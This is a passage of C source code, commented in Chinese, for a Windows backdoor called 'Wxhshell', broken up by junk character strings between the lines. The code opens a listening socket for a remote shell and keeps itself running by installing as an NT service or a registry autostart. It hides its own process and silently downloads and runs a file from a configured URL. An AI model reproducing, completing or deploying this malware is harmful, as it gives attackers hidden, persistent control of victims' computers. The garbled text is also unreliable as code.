?IVJ#6[ if(hProcess==NULL) return 0; Q6qW?*Y (4+P7Z,Nc HMODULE hMod; E{|B&6$[} char procName[255]; H`CID*Ji unsigned long cbNeeded; lI=<lmM0|/ (SBhU:^h if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 90<g=B 4`5yrCd CloseHandle(hProcess); )R JEOl1 q*&R&K;q if(strstr(procName,"services")) return 1; // 以服务启动 ~(^P( a_>|Ny6{ return 0; // 注册表启动 =b%}x >> } ^?VQ$o2 <=*f // 主模块 Gaix6@X6' int StartWxhshell(LPSTR lpCmdLine) 4b2d(x)0X { FOXSs8"c]! SOCKET wsl; LORcf 1X/ BOOL val=TRUE; ,2S!$M int port=0; ]c/E7|0Q struct sockaddr_in door; ]
4dl6T q Q\j if(wscfg.ws_autoins) Install(); 'k,2*.A la3B`p port=atoi(lpCmdLine); jzbq{# R@o&c%K" if(port<=0) port=wscfg.ws_port; 'o-4' D@bGJc0 WSADATA data; 0B`X056|"| if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; tqGrhOt JXB)'d0 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; @j/2 $ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &?@C^0&QV door.sin_family = AF_INET; Y %"Ji[ door.sin_addr.s_addr = inet_addr("127.0.0.1"); j7~FR{:j door.sin_port = htons(port); h:?^0b!@ U] LDi8 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5'} V`?S closesocket(wsl); %!<Y return 1; ;77K1 } |\,OlX, $v0,)AL i if(listen(wsl,2) == INVALID_SOCKET) { 3_ closesocket(wsl); S+T/(-W return 1; h aAY =: } ')"+ a^c Wxhshell(wsl); |?!i},Ki; WSACleanup(); &W2*'$j"_ 3z8i0 return 0; U)J5K o:Fq|?/e } !zA@{gvEc oW3"J6,S // 以NT服务方式启动 YZol4q|ic VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) y}?|+/ dN { OEW'bT) DWORD status = 0; Pxlc RF DWORD specificError = 0xfffffff; %O"8|ZG9{ mO>L]<O serviceStatus.dwServiceType = SERVICE_WIN32; Pyo|Sgk serviceStatus.dwCurrentState = SERVICE_START_PENDING; dHnCSOM< serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; I!sT=w8V serviceStatus.dwWin32ExitCode = 0; &$MC!iMh serviceStatus.dwServiceSpecificExitCode = 0; n>Ff tVZNJ serviceStatus.dwCheckPoint = 0; s<O$
Y serviceStatus.dwWaitHint = 0; ~aob@( 8SGaS& hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9wvlR6z;u if (hServiceStatusHandle==0) return; c[h~=0UtJ 6mM9p)"$ status = GetLastError(); cLtVj2Wb if (status!=NO_ERROR) /LD3Bb)O { t3;Zx+Br serviceStatus.dwCurrentState = SERVICE_STOPPED; }%|ewy9|CW serviceStatus.dwCheckPoint = 0; J&xZN8jW serviceStatus.dwWaitHint = 0; .GrOdDK$ns serviceStatus.dwWin32ExitCode = status; `/8@Fj serviceStatus.dwServiceSpecificExitCode = specificError; u^Q`xd1 SetServiceStatus(hServiceStatusHandle, &serviceStatus); '75T2Ud return; ./YR8 #, } XNz+a|cF "aJHCi~l serviceStatus.dwCurrentState = SERVICE_RUNNING; Vj*-E serviceStatus.dwCheckPoint = 0;
^CkMk 1 serviceStatus.dwWaitHint = 0; H1bR+2s if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); zxyl+tU & } :`bC3Mr +jLy>=u // 处理NT服务事件,比如:启动、停止 ^b8~X [1J_ VOID WINAPI NTServiceHandler(DWORD fdwControl) y4^u&0}0$ { G3.aw switch(fdwControl) `w@:h4f { /"{d2 case SERVICE_CONTROL_STOP: rAenxZ,tF serviceStatus.dwWin32ExitCode = 0; mWp>E`l serviceStatus.dwCurrentState = SERVICE_STOPPED; zggnDkC5 serviceStatus.dwCheckPoint = 0; J@3, serviceStatus.dwWaitHint = 0; ^m>4<~/ { ^6s im 2 SetServiceStatus(hServiceStatusHandle, &serviceStatus); c!6D{(sfh } Itl8#LpLM return; l1 +l@r\ case SERVICE_CONTROL_PAUSE: f"MID6 serviceStatus.dwCurrentState = SERVICE_PAUSED; +:MSY p break; @Cj!MZ=T case SERVICE_CONTROL_CONTINUE: $RD~,<oEm serviceStatus.dwCurrentState = SERVICE_RUNNING; 3lP;=*m. break; 'a~@q~! case SERVICE_CONTROL_INTERROGATE: ~ ld.I4 break; t>j_C{X1( }; 7({)ou x SetServiceStatus(hServiceStatusHandle, &serviceStatus); <kn2 } +-izC%G LF dvz0 // 标准应用程序主函数 L:i&OCU2k int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >*-%:ub { GP}; ~ c./\sN@ // 获取操作系统版本 VvhfD2*T OsIsNt=GetOsVer(); 1Bh"'9-!JT GetModuleFileName(NULL,ExeFile,MAX_PATH); ho\1[xS fM=o?w6v // 从命令行安装 MxE]EJZ if(strpbrk(lpCmdLine,"iI")) Install(); `|t,Uc|7! k&Pt\- 9on // 下载执行文件 &YhAB\Rw if(wscfg.ws_downexe) { w~3X
m{ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) h@,ja WinExec(wscfg.ws_filenam,SW_HIDE); ^z?b6kTC } +f3Rzx] opcanl9pSW if(!OsIsNt) { Hm-#Mpw // 如果时win9x,隐藏进程并且设置为注册表启动 YI0
wr1N HideProc(); h]4xS?6O StartWxhshell(lpCmdLine); X~{6$J|]#i } ",#.?vT` else sx,$W3zI'G if(StartFromService()) @Z5q2Q // 以服务方式启动 k/K)nH@) StartServiceCtrlDispatcher(DispatchTable); RX gb/VR else AWO)]rM // 普通方式启动 [txOh!sxD StartWxhshell(lpCmdLine); #CS>_qe.{ 77RZ<u9/` return 0; wh:;G`6S }
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